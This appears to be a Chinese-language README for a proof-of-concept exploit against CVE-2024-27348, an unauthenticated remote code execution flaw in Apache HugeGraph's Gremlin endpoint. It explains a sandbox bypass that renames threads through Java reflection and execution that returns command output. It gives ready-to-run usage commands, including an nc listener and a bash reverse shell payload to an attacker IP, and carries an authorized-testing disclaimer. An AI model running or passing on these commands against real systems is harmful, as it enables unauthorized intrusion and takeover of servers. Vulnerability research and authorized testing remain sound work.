
CVE-2024-27348 的高级 PoC 利用,通过沙箱绕过和非盲命令执行在 Apache HugeGraph 中实现可靠的 RCE。
一个针对 CVE-2024-27348(Apache HugeGraph 服务器远程代码执行)的高级、高可靠性概念验证(PoC)利用程序。
与许多盲目执行命令或因 Java 的 Runtime.exec() 限制而在复杂载荷上失败的公开 PoC 不同,此脚本专为实际渗透测试场景中的高可靠性而设计。
仅供教育和授权测试目的使用。 此工具提供给安全研究人员、渗透测试人员和系统管理员,用于在授权环境中验证漏洞。作者不对任何滥用或由此工具造成的损害负责。
此利用程序通过解决三个关键问题改进了早期的公开 PoC:
gremlin-server-exec-* 或 task-worker-* 的调用线程执行。此载荷使用 Java 反射在触发载荷前动态将执行线程重命名为 BypassThread,从而无缝绕过安全管理器。Runtime.getRuntime().exec(String) 不同,此利用程序使用 ProcessBuilder 并采用正确格式化的 List<String>。这允许安全执行带有引号和重定向的复杂载荷。Scanner 读取已执行进程的 InputStream,并在 JSON HTTP 响应中返回命令的实际输出。你可以精确看到服务器所见的内容。requests 库安装所需依赖:
pip3 install requests
python3 exploit.py -u <TARGET_URL> -c <COMMAND>
示例
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "whoami"
# On your attacker machine, start a listener:
nc -lvnp 4444
# Execute the exploit:
python3 exploit.py -u [http://192.168.X.X:80](http://192.168.X.X:80) -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
Apache HugeGraph 服务器暴露了一个 Gremlin API 端点(/gremlin),允许用户提交 Groovy 脚本。由于修补前版本中的沙箱保护不足,未经身份验证的攻击者可以通过 Java 反射执行任意操作系统命令。